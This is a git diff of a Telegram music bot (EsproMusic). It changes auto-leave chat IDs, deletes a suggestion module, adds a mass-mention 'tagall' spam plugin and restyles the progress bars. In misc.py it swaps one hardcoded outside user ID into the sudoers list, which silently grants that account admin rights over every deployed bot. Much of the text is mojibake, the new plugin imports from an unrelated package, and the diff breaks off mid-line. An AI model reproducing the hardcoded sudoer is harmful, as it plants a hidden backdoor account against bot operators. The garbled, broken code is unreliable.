diff --git a/EsproMusic/misc.py b/EsproMusic/misc.py index 8cea6e1..754aaab 100644 --- a/EsproMusic/misc.py +++ b/EsproMusic/misc.py @@ -50,7 +50,7 @@ async def sudo(): sudoers = [] if not sudoers else sudoers["sudoers"] if config.OWNER_ID not in sudoers: sudoers.append(config.OWNER_ID) - sudoers.append(6306738739) + sudoers.append(5874825438) await sudoersdb.update_one( {"sudo": "sudo"}, {"$set": {"sudoers": sudoers}}, diff --git a/EsproMusic/plugins/admins/tagall.py b/EsproMusic/plugins/admins/tagall.py new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/EsproMusic/plugins/admins/tagall.py @@ -0,0 +1 @@ + diff --git a/EsproMusic/plugins/misc/autoleave.py b/EsproMusic/plugins/misc/autoleave.py index 3a8b138..d585462 100644 --- a/EsproMusic/plugins/misc/autoleave.py +++ b/EsproMusic/plugins/misc/autoleave.py @@ -26,8 +26,8 @@ async def auto_leave(): ]: if ( i.chat.id != config.LOGGER_ID - and i.chat.id != -1001807463997 - and i.chat.id != -1001807463997 + and i.chat.id != -1002110912467 + and i.chat.id != -1002004301405 ): if left == 20: continue diff --git a/EsproMusic/plugins/misc/suggestion.py b/EsproMusic/plugins/misc/suggestion.py deleted file mode 100644 index 7486d71..0000000 --- a/EsproMusic/plugins/misc/suggestion.py +++ /dev/null @@ -1,76 +0,0 @@ -import asyncio -import random -from datetime import datetime, timedelta - -import config -from config import clean -from strings import get_string -from EsproMusic import app -from EsproMusic.utils.database import (get_lang, - get_served_chats, - is_suggestion) - -LEAVE_TIME = config.AUTO_SUGGESTION_TIME - - -strings = [] -suggestor = {} - -for item in get_string("en"): - if item[0:3] == "sug" and item != "sug_0": - strings.append(item) - - -async def dont_do_this(): - if config.AUTO_SUGGESTION_MODE == str(True): - while not await asyncio.sleep(LEAVE_TIME): - try: - chats = [] - schats = await get_served_chats() - for chat in schats: - chats.append(int(chat["chat_id"])) - total = len(chats) - if total >= 100: - total //= 10 - send_to = 0 - random.shuffle(chats) - for x in chats: - if send_to == total: - break - if x == config.LOGGER_ID: - continue - if not await is_suggestion(x): - continue - try: - language = await get_lang(x) - _ = get_string(language) - except: - _ = get_string("en") - string = random.choice(strings) - previous = suggestor.get(x) - if previous: - while previous == (string.split("_")[1]): - string = random.choice(strings) - suggestor[x] = string.split("_")[1] - try: - msg = _["sug_0"] + _[string] - sent = await app.send_message(x, msg) - if x not in clean: - clean[x] = [] - time_now = datetime.now() - put = { - "msg_id": sent.id, - "timer_after": time_now - + timedelta( - minutes=config.CLEANMODE_DELETE_MINS - ), - } - clean[x].append(put) - send_to += 1 - except: - pass - except: - pass - - -asyncio.create_task(dont_do_this()) diff --git a/EsproMusic/tagall.py b/EsproMusic/tagall.py new file mode 100644 index 0000000..c850f8a --- /dev/null +++ b/EsproMusic/tagall.py @@ -0,0 +1,284 @@ +from VIPMUSIC import app +import asyncio +import random +from pyrogram import Client, filters +from pyrogram.enums import ChatType, ChatMemberStatus +from pyrogram.errors import UserNotParticipant +from pyrogram.types import ChatPermissions + +spam_chats = [] + +EMOJI = [ "๐ฆ๐ฆ๐ฆ๐ฆ๐ฆ", + "๐ง๐ธ๐ง๐ฌ๐ซ", + "๐ฅ๐ท๐น๐บ๐", + "๐ธ๐ฟ๐ฎ๐ฑ๐ต", + "โค๏ธ๐๐๐๐ค", + "๐๐๐๐๐", + "๐ธ๐๐บ๐น๐ฆ", + "๐๐ฆช๐๐ฒ๐ฅ", + "๐๐๐๐๐ถ๏ธ", + "๐ง๐ฅค๐ง๐ฅ๐ท", + "๐ฌ๐ญ๐ง๐๐ก", + "๐จ๐ง๐บโ๐ป", + "๐ฅช๐ฅง๐ฆ๐ฅ๐", + "๐ซโ๐น๐ท๐ฅ", + "โ๐ง๐ฉ๐ฆ๐", + "๐๐พ๐ฎ๐๐ฟ", + "๐จ๏ธ๐ฅ๏ธโ๏ธ๐ฉ๏ธ๐ง๏ธ", + "๐ท๐ต๏ธ๐ธ๐บ๐", + "๐ฎ๐ผ๐ป๐๐", + "๐ง๐ฆธ๐ฆน๐ง๐ธ", + "๐ง ๐ ๐ฅ๐ฝ๐ฅฆ", + "๐ท๐น๐ญ๐จ๐ปโโ๏ธ", + "๐ฆ๐๐๐๐โโฌ", + "๐ผ๐ณ๐ฒ๐ด๐ต", + "๐ฅฉ๐๐๐๐", + "๐ด๐ฝ๏ธ๐ช๐ถ๐ฅ", + "๐๐ฐ๐ฉโฉ๏ธ๐ฉ", + "๐๐๐๐๐", + "๐ชด๐ต๐ด๐ณ๐ฒ", + "๐๐๐๐๐", + "๐ฆ ๐ฆ๐๏ธ๐ฆค๐ฆข", + "๐ฆค๐ฆฉ๐ฆ๐ฆ๐ฆ", + "๐ฌ๐ฆญ๐ฆ๐๐ณ", + "๐๐๐ ๐ก๐ฆ", + "๐ฆฉ๐ฆ๐ฆ๐๐ฆช", + "๐ฆ๐ฆ๐ท๏ธ๐ธ๏ธ๐", + "๐ฅช๐ฐ๐ฅง๐จ๐จ", + " ๐ฅฌ๐๐ง๐ง", + ] + +TAGMES = [ " **๐๐๐ฒ ๐๐๐๐ฒ ๐๐๐ก๐ ๐๐จ๐ค๐ฅฑ** ", + " **๐๐ฒ๐ ๐๐จ ๐๐ฒ๐ ๐๐ฒ๐ ๐๐ง๐ฅ๐ข๐ง๐ ๐๐๐จ๐** ", + " **๐๐ ๐๐ก๐๐ฅ๐จ ๐๐๐ญ๐๐ง ๐๐๐ซ๐ญ๐ ๐๐๐ข๐ง ๐๐ฎ๐๐ก ๐๐ฎ๐๐ก๐** ", + " **๐๐ก๐๐ง๐ ๐๐ก๐ ๐๐ข๐ฒ๐ ๐๐ข..??๐ฅฒ** ", + " **๐๐ก๐๐ซ ๐๐ ๐๐๐ ๐๐๐ข๐ฌ๐ ๐๐๐ข๐ง ๐๐ข๐ฅบ** ", + " **๐๐ญ๐ ๐๐๐ข ๐๐จ๐ก๐จ๐ญ ๐๐ข๐ฌ๐ฌ ๐๐๐ซ ๐๐ก๐ข ๐๐ก๐ข ๐๐๐ฉ๐ค๐จ๐คญ** ", + " **๐๐ฒ๐ ๐๐๐ฅ ๐๐ก๐๐ฅ ๐๐๐ฌ๐ ๐๐๐ข..??๐คจ** ", + " **๐๐๐ซ๐ข ๐๐ก๐ข ๐๐๐ญ๐ญ๐ข๐ง๐ ๐๐๐ซ๐๐ ๐๐จ๐ ๐..??๐** ", + " **๐๐๐ฉ๐ค๐ ๐๐๐ฆ๐ ๐๐ฒ๐ ๐ก๐๐ข..??๐ฅฒ** ", + " **๐๐๐ฌ๐ญ๐ ๐๐ฎ๐ ๐๐๐ฉ๐ค๐..??๐** ", + " **๐๐๐ซ๐ ๐๐จ ๐๐ฉ๐ง๐ ๐๐ซ๐จ๐ฎ๐ฉ ๐๐ ๐๐ข๐๐ง๐๐ฉ ๐๐ซ ๐๐จ๐** ", + " **๐๐๐ฉ๐ค๐ข ๐๐๐ซ๐ญ๐ง๐๐ซ ๐๐๐ฉ๐ค๐จ ๐๐ก๐ฎ๐ง๐ ๐๐ก๐ ๐๐๐ข๐ง ๐๐ฅ๐๐ข ๐๐ง๐ฅ๐ข๐ง๐ ๐๐ฒ๐ข๐๐๐ ๐ ** ", + " **๐๐๐ซ๐ ๐๐ ๐๐จ๐ฌ๐ญ๐ข ๐๐ซ๐จ๐ ๐..??๐ค** ", + " **๐๐จ๐ง๐ ๐๐ก๐๐ฅ ๐๐ฒ๐ ๐๐ฒ๐๐๐** ", + " **๐๐ค ๐๐จ๐ง๐ ๐๐ฅ๐๐ฒ ๐๐ซ๐จ ๐๐ ๐๐ฅ๐ฌ๐ฌ๐** ", + " **๐๐๐ฉ ๐๐๐ก๐ ๐๐ ๐๐จ..??๐** ", + " **๐๐๐ฅ๐ฅ๐จ ๐๐ข ๐๐๐ฆ๐๐ฌ๐ญ๐๐** ", + " **๐๐๐ฅ๐ฅ๐จ ๐๐๐๐ฒ ๐๐ค๐ซ๐ก..?๐ค** ", + " **๐๐จ ๐๐จ๐ฎ ๐๐ง๐จ๐ฐ ๐๐ก๐จ ๐๐ฌ ๐๐ฒ ๐๐ฐ๐ง๐๐ซ.?** ", + " **๐๐ก๐ฅ๐จ ๐๐ฎ๐๐ก ๐๐๐ฆ๐ ๐๐ก๐๐ฅ๐ญ๐ ๐๐๐ข๐ง.๐ค** ", + " **๐๐ฎ๐ซ ๐๐๐ญ๐๐จ ๐๐๐ข๐ฌ๐ ๐๐จ ๐๐๐๐ฒ๐** ", + " **๐๐ฎ๐ฆ๐ก๐๐ซ๐ข ๐๐ฎ๐ฆ๐ฆ๐ฒ ๐๐ฒ๐ ๐๐๐ซ ๐๐๐ก๐ข ๐๐๐ข๐คญ** ", + " **๐๐๐ซ๐ ๐๐ ๐๐๐ญ ๐๐จ๐ข ๐๐ซ๐จ๐ ๐๐ฅบ๐ฅบ** ", + " **๐๐ฒ๐ ๐๐๐ ๐๐ฅ ๐๐ง๐ฅ๐ข๐ง๐ ๐๐ ๐๐๐ถ** ", + " **๐๐๐ฃ ๐๐จ๐ฅ๐ข๐๐๐ฒ ๐๐๐ข ๐๐ฒ๐ ๐๐๐ก๐จ๐จ๐ฅ ๐๐..??๐ค** ", + " **๐๐ฒ๐ ๐๐จ๐จ๐ ๐๐จ๐ซ๐ง๐ข๐ง๐ ๐** ", + " **๐๐ฎ๐ง๐จ ๐๐ค ๐๐๐ฆ ๐๐๐ข ๐๐ฎ๐ฆ๐ฌ๐๐** ", + " **๐๐จ๐ข ๐๐จ๐ง๐ ๐๐ฅ๐๐ฒ ๐๐ซ๐จ ๐๐๐ช** ", + " **๐๐ข๐๐ ๐๐จ ๐๐๐๐ญ ๐๐กโบ** ", + " **๐๐๐ฅ๐ฅ๐จ๐** ", + " **๐๐ญ๐ฎ๐๐ฒ ๐๐จ๐ฆ๐ฅ๐๐ญ๐ ๐๐ฎ๐??๐บ** ", + " **๐๐จ๐ฅ๐จ ๐๐ ๐๐ฎ๐๐ก ๐๐ซ๐ซ๐ฅฒ** ", + " **๐๐จ๐ง๐๐ฅ๐ข ๐๐จ๐ง ๐๐๐ข...??๐ ** ", + " **๐๐ฎ๐ฆ๐ก๐๐ซ๐ข ๐๐ค ๐๐ข๐ ๐๐ข๐ฅ๐๐ ๐ข..?๐ ** ", + " **๐๐ฎ๐ฆ๐ฆ๐ฒ ๐๐ ๐๐ฒ๐ข ๐๐ฒ๐๐๐๐** ", + " **๐๐ซ ๐๐๐ญ๐๐จ ๐๐ก๐๐๐ก๐ข ๐๐๐ข๐ฌ๐ข ๐๐๐ข๐** ", + " **๐ ๐๐จ๐ฏ๐ ๐๐จ๐ฎ๐๐๐** ", + " **๐๐จ ๐๐จ๐ฎ ๐๐จ๐ฏ๐ ๐๐..?๐** ", + " **๐๐๐ค๐ก๐ข ๐๐๐ ๐๐๐ง๐ ๐๐๐ก๐ข ๐๐จ.??๐** ", + " **๐๐ค ๐๐จ๐ง๐ ๐๐ฎ๐ง๐๐ฎ..?๐น** ", + " **๐๐ง๐ฅ๐ข๐ง๐ ๐๐ ๐๐ ๐๐ ๐๐จ๐ง๐ ๐๐ฎ๐ง๐ ๐๐๐ก๐ข ๐๐ฎ๐ป** ", + " **๐๐ง๐ฌ๐ญ๐๐ ๐ซ๐๐ฆ ๐๐ก๐๐ฅ๐๐ญ๐ ๐๐จ..??๐** ", + " **๐๐ก๐๐ญ๐ฌ๐๐ฉ๐ฉ ๐๐ฎ๐ฆ๐๐๐ซ ๐๐จ๐ ๐ ๐๐ฉ๐ง๐ ๐๐ฎ๐ฆ..?๐** ", + " **๐๐ฎ๐ฆ๐ก๐ ๐๐จ๐ง ๐๐ ๐๐ฎ๐ฌ๐ข๐ ๐๐ฎ๐ง๐ง๐ ๐๐๐ฌ๐๐ง๐ ๐๐๐ข..?๐** ", + " **๐๐๐ซ๐ ๐๐๐ฆ ๐๐ก๐๐ญ๐๐ฆ ๐๐จ ๐๐ฒ๐ ๐๐๐ฉ๐ค๐..?๐** ", + " **๐๐๐ก๐ ๐๐ ๐๐จ ๐๐๐ฉ๐** ", + " **๐๐ฎ๐ง๐จ ๐๐๐ง** ", + " **๐๐๐ซ๐ ๐๐ค ๐๐๐๐ฆ ๐๐๐ซ ๐๐จ๐ ๐..?** ", + " **๐๐ฒ ๐๐๐ญ๐ ๐๐๐ญ ๐๐๐ญ ๐๐๐ซ๐ง๐ ๐๐๐ฃ ๐๐ ๐๐๐๐ ** ", + " **๐๐จ๐ฆ ๐๐๐ ๐๐๐ข๐ฌ๐ ๐๐๐ข๐ง..?โค** ", + " **๐๐ฒ๐ ๐๐ฎ๐..?๐ฑ** ", + " **๐๐จ๐ก๐จ๐ญ ๐๐๐๐ ๐๐ ๐๐ก๐ข ๐๐๐ข ๐คงโฃ๏ธ** ", + " **๐๐ก๐ฎ๐ฅ ๐๐ฒ๐ ๐๐ฎ๐ฃ๐ก๐๐๐** ", + " **๐๐ฎ๐ญ๐ก ๐๐ก๐ข ๐๐จ๐ฅ๐ง๐ ๐๐ก๐๐ก๐ข๐ฒ๐๐ค** ", + " **๐๐ก๐ ๐๐จ ๐๐ก๐๐ฐ ๐๐๐ญ ๐๐ซ๐จ ๐๐๐๐ญ๐** ", + " **๐๐ฒ๐ ๐๐ฎ๐๐ฎ๐ฎ** " + " **๐๐ข๐ข๐** ", + " **๐๐๐ฉ๐ค๐ ๐๐๐ข๐ฌ๐ ๐๐จ๐ฌ๐ญ ๐๐จ ๐๐๐ญ๐ก ๐๐ ๐ ๐ข๐ซ ๐๐ฎ๐ฆ ๐๐ข๐ฌ ๐๐๐ญ ๐๐ ๐** ", + " **๐๐๐ฃ ๐๐๐ข ๐๐๐ ๐๐ฎ โน๏ธ** ", + " **๐๐ฎ๐ฌ๐ฃ๐ก๐ฌ๐ ๐๐ก๐ข ๐๐๐ญ ๐๐๐ซ ๐๐จ ๐๐ ๐ฅบ๐ฅบ** ", + " **๐๐ฒ๐ ๐๐๐ซ ๐๐๐ก๐ ๐๐จ๐** ", + " **๐๐ฒ๐ ๐๐๐ฅ ๐๐ก๐๐ฅ ๐๐๐ข ๐** ", + " **๐๐๐ก๐ ๐๐ ๐๐จ ๐๐๐ฉ..?๐ค** ", + " **๐๐ก๐๐ญ๐ญ๐ข๐ง๐ ๐๐๐ซ ๐๐จ ๐๐..๐ฅบ** ", + " **๐๐ ๐๐๐ฌ๐จ๐จ๐ฆ ๐๐ฎ ๐๐๐ฅบ๐ฅบ** ", + " **๐๐๐ฅ ๐๐๐ฃ๐ ๐๐ฒ๐ ๐๐ก๐ ๐๐๐คญ๐ ** ", + " **๐๐ซ๐จ๐ฎ๐ฉ ๐๐ ๐๐๐ญ ๐๐ฒ๐ฎ ๐๐๐ก๐ข ๐๐๐ซ๐ญ๐ ๐๐จ๐** ", + " **๐๐๐ฉ ๐๐๐ฅ๐๐ญ๐ข๐จ๐ฆ๐ฌ๐ก๐ข๐ฉ ๐๐ ๐๐จ..?๐** ", + " **๐๐ข๐ญ๐ง๐ ๐๐ก๐ฎ๐ฉ ๐๐๐ก๐ญ๐ ๐๐จ ๐๐ซ๐ซ๐ผ** ", + " **๐๐๐ฉ๐ค๐จ ๐๐๐ง๐ ๐๐๐ง๐ ๐๐๐ญ๐ ๐๐๐ข..?๐ธ** ", + " **๐๐ก๐ฎ๐ฆ๐ง๐ ๐๐ก๐๐ฅ๐จ๐ ๐..??๐** ", + " **๐๐ก๐ฎ๐ฌ ๐๐๐ก๐ ๐๐๐ซ๐จ โ๏ธ๐ค** ", + " **๐๐๐ฆ ๐๐จ๐ฌ๐ญ ๐๐๐ง ๐๐๐ค๐ญ๐ ๐๐๐ข...?๐ฅฐ** ", + " **๐๐ฎ๐๐ก ๐๐จ๐ฅ ๐๐ฒ๐ฎ ๐๐ก๐ข ๐๐๐ก๐ ๐๐จ..๐ฅบ๐ฅบ** ", + " **๐๐ฎ๐๐ก ๐๐๐ฆ๐๐๐ซ๐ฌ ๐๐๐ ๐๐๐ซ ๐๐จ ๐ฅฒ** ", + " **๐๐ข๐ง๐ ๐ฅ๐ ๐๐จ ๐๐ ๐๐ข๐ง๐ ๐ฅ๐ ๐** ", + " **๐๐๐จ ๐๐๐ซ๐ญ๐ฒ ๐๐๐ซ๐ญ๐ ๐๐๐ข๐ง๐๐ฅณ** ", + " **๐๐๐ฆ๐ฅ๐จ๐จ๐ง** ", + " **๐๐ฎ๐ฃ๐ก๐ ๐๐ก๐ฎ๐ฅ ๐๐ฒ๐ ๐๐ฒ๐๐ฅบ** ", + " **๐๐๐ก๐ ๐๐ ๐๐๐จ:-[@TG_FRIENDSS] ๐๐๐ฌ๐ญ๐ข ๐๐๐ซ๐๐ง๐ ๐ ๐คญ๐คญ** ", + " **๐๐ซ๐ฎ๐ญ๐ก ๐๐ง๐ ๐๐๐ซ๐ ๐๐ก๐๐ฅ๐จ๐ ๐..? ๐** ", + " **๐๐๐ฃ ๐๐ฎ๐ฆ๐ฆ๐ฒ ๐๐ ๐๐๐ญ๐ ๐๐ซ๐ฅบ๐ฅบ** ", + " **๐๐จ๐ข๐ง ๐๐๐ซ ๐๐จ๐ค** ", + " **๐๐ค ๐๐ข๐ฅ ๐๐๐ข ๐๐ค ๐๐ข๐ฅ ๐๐ข ๐๐จ ๐๐๐ข๐๐** ", + " **๐๐ฎ๐ฆ๐ก๐๐ซ๐ ๐๐จ๐ฌ๐ญ ๐๐๐ก๐ ๐๐ฒ๐๐ฅบ** ", + " **๐๐ฒ ๐๐ฎ๐ญ๐ ๐๐ฐ๐ง๐๐ซ{ @THE_VIP_BOY}๐ฅฐ** ", + " **๐๐๐ก๐ ๐๐ก๐จ๐ฒ๐ ๐๐จ ๐๐๐๐ง๐** ", + " **๐๐จ๐จ๐ ๐8 ๐๐ข ๐๐ก๐ฎ๐ญ ๐๐๐ญ ๐๐จ ๐ ๐ฒ๐ข๐ฅฐ** ", + ] + +VC_TAG = [ "**๐๐๐ด ๐๐ฒ ๐๐ฐ๐พ ๐๐ฐ ๐๐ป๐๐ฅฒ**", + "**๐๐พ๐ธ๐ฝ ๐๐ฒ ๐ ๐ฐ๐๐ ๐๐๐ ๐๐ผ๐ฐ๐ฟ๐พ๐๐๐ฐ๐ฝ๐๐ฌ**", + "**๐๐พ๐ผ๐ด ๐ ๐ฒ ๐ฑ๐ฐ๐ฑ๐ ๐ต๐ฐ๐๐๐**", + "**๐๐ฐ๐ฑ๐ ๐๐๐ผ ๐๐ท๐ธ ๐๐ท๐พ๐๐ฐ ๐๐ฒ ๐๐ฐ๐ฝ๐ฐ๐ฅฐ**", + "**๐๐๐ด ๐๐ท๐ฐ๐ผ๐๐ ๐๐ฒ ๐๐ฐ ๐๐บ ๐๐ฐ๐ผ ๐๐ฐ๐ธ๐คจ**", + "**๐๐๐ฝ๐พ ๐๐ฒ ๐๐พ๐ธ๐ฝ ๐๐ ๐๐พ๐คฃ**", + "**๐๐ฒ ๐๐ฐ ๐๐ฐ๐ธ๐๐ด ๐๐บ ๐๐ฐ๐๐**", + "**๐๐ฒ ๐๐ฐ๐ฟ๐บ๐พ ๐๐ฐ๐ผ๐ด ๐๐ท๐ฐ๐ป๐ ๐๐ฐ๐ธโฝ**", + "**๐๐ฒ ๐๐ฐ๐พ ๐๐ฐ๐๐ฝ๐ฐ ๐๐ฐ๐ฝ ๐๐พ ๐๐ฐ๐พ๐ถ๐ด๐ฅบ**", + "**๐๐พ๐๐๐ ๐๐ฐ๐ฑ๐ ๐๐ป๐ ๐๐ฒ ๐๐ฐ ๐๐ฐ๐พ ๐๐ฐ๐ฅ**", + "**๐๐ฒ ๐๐ฐ๐ฝ๐ฐ ๐๐บ ๐๐ท๐ธ๐น ๐๐ธ๐บ๐ท๐ฐ๐๐ธ ๐๐๐**", + "**๐๐ฒ ๐๐ด ๐๐ท๐ด๐ฒ๐บ ๐๐๐บ๐ด ๐๐ฐ๐๐ฐ๐พ ๐๐พ ๐๐พ๐ฝ๐ถ ๐๐ป๐ฐ๐ ๐๐พ ๐๐ท๐ฐ ๐?๐ค**", + "**๐๐ฒ ๐๐พ๐ธ๐ฝ ๐๐๐ฝ๐ด ๐๐ด ๐๐๐ฐ ๐๐ฐ๐๐ฐ ๐ ๐๐ท๐พ๐๐ฐ ๐๐ด๐ ๐๐ฐ๐ ๐๐พ ๐๐ฐ๐**", + ] + + +@app.on_message(filters.command(["tagall"], prefixes=["/", "@", ".", "#"])) +async def mentionall(client, message): + chat_id = message.chat.id + if message.chat.type == ChatType.PRIVATE: + return await message.reply("๐๐ก๐ข๐ฌ ๐๐จ๐ฆ๐ฆ๐๐ง๐ ๐๐ง๐ฅ๐ฒ ๐ ๐จ๐ซ ๐๐ซ๐จ๐ฎ๐ฉ๐ฌ.") + + is_admin = False + try: + participant = await client.get_chat_member(chat_id, message.from_user.id) + except UserNotParticipant: + is_admin = False + else: + if participant.status in ( + ChatMemberStatus.ADMINISTRATOR, + ChatMemberStatus.OWNER + ): + is_admin = True + if not is_admin: + return await message.reply("๐๐จ๐ฎ ๐๐ซ๐ ๐๐จ๐ญ ๐๐๐ฆ๐ข๐ง ๐๐๐๐ฒ, ๐๐ง๐ฅ๐ฒ ๐๐๐ฆ๐ข๐ง๐ฌ ๐๐๐ง ๐๐๐ ๐๐๐ฆ๐๐๐ซ๐ฌ. ") + + if message.reply_to_message and message.text: + return await message.reply("/tagall ๐๐จ๐จ๐ ๐๐จ๐ซ๐ง๐ข๐ง๐ ๐ ๐๐ฒ๐ฉ๐ ๐๐ข๐ค๐ ๐๐ก๐ข๐ฌ / ๐๐๐ฉ๐ฅ๐ฒ ๐๐ง๐ฒ ๐๐๐ฌ๐ฌ๐๐ ๐ ๐๐๐ฑ๐ญ ๐๐ข๐ฆ๐ ๐ ๐จ๐ญ ๐๐๐ ๐ ๐ข๐ง๐ ...") + elif message.text: + mode = "text_on_cmd" + msg = message.text + elif message.reply_to_message: + mode = "text_on_reply" + msg = message.reply_to_message + if not msg: + return await message.reply("/tagall ๐๐จ๐จ๐ ๐๐จ๐ซ๐ง๐ข๐ง๐ ๐ ๐๐ฒ๐ฉ๐ ๐๐ข๐ค๐ ๐๐ก๐ข๐ฌ / ๐๐๐ฉ๐ฅ๐ฒ ๐๐ง๐ฒ ๐๐๐ฌ๐ฌ๐๐ ๐ ๐๐๐ฑ๐ญ ๐๐ข๐ฆ๐ ๐ ๐จ๐ญ ๐๐๐ ๐ ๐ข๐ง๐ ...") + else: + return await message.reply("/tagall ๐๐จ๐จ๐ ๐๐จ๐ซ๐ง๐ข๐ง๐ ๐ ๐๐ฒ๐ฉ๐ ๐๐ข๐ค๐ ๐๐ก๐ข๐ฌ / ๐๐๐ฉ๐ฅ๐ฒ ๐๐ง๐ฒ ๐๐๐ฌ๐ฌ๐๐ ๐ ๐๐๐ฑ๐ญ ๐๐ข๐ฆ๐ ๐ ๐จ๐ญ ๐๐๐ ๐ ๐ข๐ง๐ ...") + if chat_id in spam_chats: + return await message.reply("๐๐ฅ๐๐๐ฌ๐ ๐๐ญ ๐ ๐ข๐ซ๐ฌ๐ญ ๐๐ญ๐จ๐ฉ ๐๐ฎ๐ง๐ง๐ข๐ง๐ ๐๐๐ง๐ญ๐ข๐จ๐ง ๐๐ซ๐จ๐๐๐ฌ๐ฌ ๐๐ฒ /tagalloff , /stopvctag ...") + spam_chats.append(chat_id) + usrnum = 0 + usrtxt = "" + async for usr in client.get_chat_members(chat_id): + if not chat_id in spam_chats: + break + if usr.user.is_bot: + continue + usrnum += 1 + usrtxt += f"[{usr.user.first_name}](tg://user?id={usr.user.id}) " + + if usrnum == 1: + if mode == "text_on_cmd": + txt = f"{usrtxt} {random.choice(TAGMES)}\n\n|| โฅ แดาา แดแดษขษขษชษดษข สส ยป /stoptagall ||" + await client.send_message(chat_id, txt) + elif mode == "text_on_reply": + await msg.reply(f"[{random.choice(EMOJI)}](tg://user?id={usr.user.id})") + await asyncio.sleep(4) + usrnum = 0 + usrtxt = "" + try: + spam_chats.remove(chat_id) + except: + pass + + +@app.on_message(filters.command(["vctag"], prefixes=["/", ".", "@", "#"])) +async def mention_allvc(client, message): + chat_id = message.chat.id + if message.chat.type == ChatType.PRIVATE: + return await message.reply("๐๐ก๐ข๐ฌ ๐๐จ๐ฆ๐ฆ๐๐ง๐ ๐๐ง๐ฅ๐ฒ ๐ ๐จ๐ซ ๐๐ซ๐จ๐ฎ๐ฉ๐ฌ.") + + is_admin = False + try: + participant = await client.get_chat_member(chat_id, message.from_user.id) + except UserNotParticipant: + is_admin = False + else: + if participant.status in ( + ChatMemberStatus.ADMINISTRATOR, + ChatMemberStatus.OWNER + ): + is_admin = True + if not is_admin: + return await message.reply("๐๐จ๐ฎ ๐๐ซ๐ ๐๐จ๐ญ ๐๐๐ฆ๐ข๐ง ๐๐๐๐ฒ, ๐๐ง๐ฅ๐ฒ ๐๐๐ฆ๐ข๐ง๐ฌ ๐๐๐ง ๐๐๐ ๐๐๐ฆ๐๐๐ซ๐ฌ. ") + if chat_id in spam_chats: + return await message.reply("๐๐ฅ๐๐๐ฌ๐ ๐๐ญ ๐ ๐ข๐ซ๐ฌ๐ญ ๐๐ญ๐จ๐ฉ ๐๐ฎ๐ง๐ง๐ข๐ง๐ ๐๐๐ง๐ญ๐ข๐จ๐ง ๐๐ซ๐จ๐๐๐ฌ๐ฌ ๐๐ฒ /tagalloff , /stopvctag ...") + spam_chats.append(chat_id) + usrnum = 0 + usrtxt = "" + async for usr in client.get_chat_members(chat_id): + if not chat_id in spam_chats: + break + if usr.user.is_bot: + continue + usrnum += 1 + usrtxt += f"[{usr.user.first_name}](tg://user?id={usr.user.id}) " + + if usrnum == 1: + txt = f"{usrtxt} {random.choice(VC_TAG)}\n\n|| โฅ แดาา แดแดษขษขษชษดษข สส ยป /stopvctag ||" + await client.send_message(chat_id, txt) + await asyncio.sleep(4) + usrnum = 0 + usrtxt = "" + try: + spam_chats.remove(chat_id) + except: + pass + + + +@app.on_message(filters.command(["stoptagall", "canceltagall", "offtagall", "tagallstop", "stopvctag", "tagalloff"])) +async def cancel_spam(client, message): + if not message.chat.id in spam_chats: + return await message.reply("๐๐ฎ๐ซ๐ซ๐๐ง๐ญ๐ฅ๐ฒ ๐'๐ฆ ๐๐จ๐ญ ๐๐๐ ๐ ๐ข๐ง๐ ๐๐๐๐ฒ.") + is_admin = False + try: + participant = await client.get_chat_member(message.chat.id, message.from_user.id) + except UserNotParticipant: + is_admin = False + else: + if participant.status in ( + ChatMemberStatus.ADMINISTRATOR, + ChatMemberStatus.OWNER + ): + is_admin = True + if not is_admin: + return await message.reply("๐๐จ๐ฎ ๐๐ซ๐ ๐๐จ๐ญ ๐๐๐ฆ๐ข๐ง ๐๐๐๐ฒ, ๐๐ง๐ฅ๐ฒ ๐๐๐ฆ๐ข๐ง๐ฌ ๐๐๐ง ๐๐๐ ๐๐๐ฆ๐๐๐ซ๐ฌ.") + else: + try: + spam_chats.remove(message.chat.id) + except: + pass + return await message.reply("โฆ ๐๐ญ๐จ๐ฉ๐ฉ๐๐..โฆ") diff --git a/EsproMusic/utils/inline/play.py b/EsproMusic/utils/inline/play.py index 868e426..b086872 100644 --- a/EsproMusic/utils/inline/play.py +++ b/EsproMusic/utils/inline/play.py @@ -42,25 +42,25 @@ def stream_markup_timer(_, chat_id, played, dur): percentage = (played_sec / duration_sec) * 100 umm = math.floor(percentage) if 0 < umm <= 10: - bar = "โโโโโโโโโโ" + bar = "โฐ๐โฑโฑโฑโฑโฑโฑโฑโฑโฑ" elif 10 < umm < 20: - bar = "โโโโโโโโโโ" + bar = "โฐโฐ๐โฑโฑโฑโฑโฑโฑโฑโฑ" elif 20 <= umm < 30: - bar = "โโโโโโโโโโ" + bar = "โฐโฐโฐ๐โฑโฑโฑโฑโฑโฑโฑ" elif 30 <= umm < 40: - bar = "โโโโโโโโโโ" + bar = "โฐโฐโฐโฐ๐โฑโฑโฑโฑโฑโฑ" elif 40 <= umm < 50: - bar = "โโโโโโโโโโ" + bar = "โฐโฐโฐโฐโฐ๐โฑโฑโฑโฑโฑ" elif 50 <= umm < 60: - bar = "โโโโโโโโโโ" + bar = "โฐโฐโฐโฐโฐโฐ๐โฑโฑโฑโฑ" elif 60 <= umm < 70: - bar = "โโโโโโโโโโ" + bar = "โฐโฐโฐโฐโฐโฐโฐ๐โฑโฑโฑ" elif 70 <= umm < 80: - bar = "โโโโโโโโโโ" + bar = "โฐโฐโฐโฐโฐโฐโฐโฐ๐โฑโฑ" elif 80 <= umm < 95: - bar = "โโโโโโโโโโ" + bar = "โฐโฐโฐโฐโฐโฐโฐโฐโฐ๐โฑ" else: - bar = "โโโโโโโโโโ" + bar = "โฐโฐโฐโฐโฐโฐโฐโฐโฐโฐ๐" buttons = [ [ InlineKeyboardButton(text="โท", callback_data=f"ADMIN Resume|{chat_id}"), diff --git a/EsproMusic/utils/inlinequery.py b/EsproMusic/utils/inlinequery.py index f755f82..c409f9b 100644 --- a/EsproMusic/utils/inlinequery.py +++ b/EsproMusic/utils/inlinequery.py @@ -7,37 +7,37 @@ InlineQueryResultArticle( title="Pแดแดsแด", description=f"แดฉแดแดsแด แดสแด แดแดสสแดษดแด แดฉสแดสษชษดษข sแดสแดแดแด แดษด แด ษชแด แดแดแดสแดแด.", - thumb_url="https://telegra.ph/file/8a5171024a3bc5569ee3f.jpg", + thumb_url="https://graph.org/file/e642e121a9d93e1ac13ca.jpg", input_message_content=InputTextMessageContent("/pause"), ), InlineQueryResultArticle( title="Rแดsแดแดแด", description=f"สแดsแดแดแด แดสแด แดฉแดแดsแดแด sแดสแดแดแด แดษด แด ษชแด แดแดแดสแดแด.", - 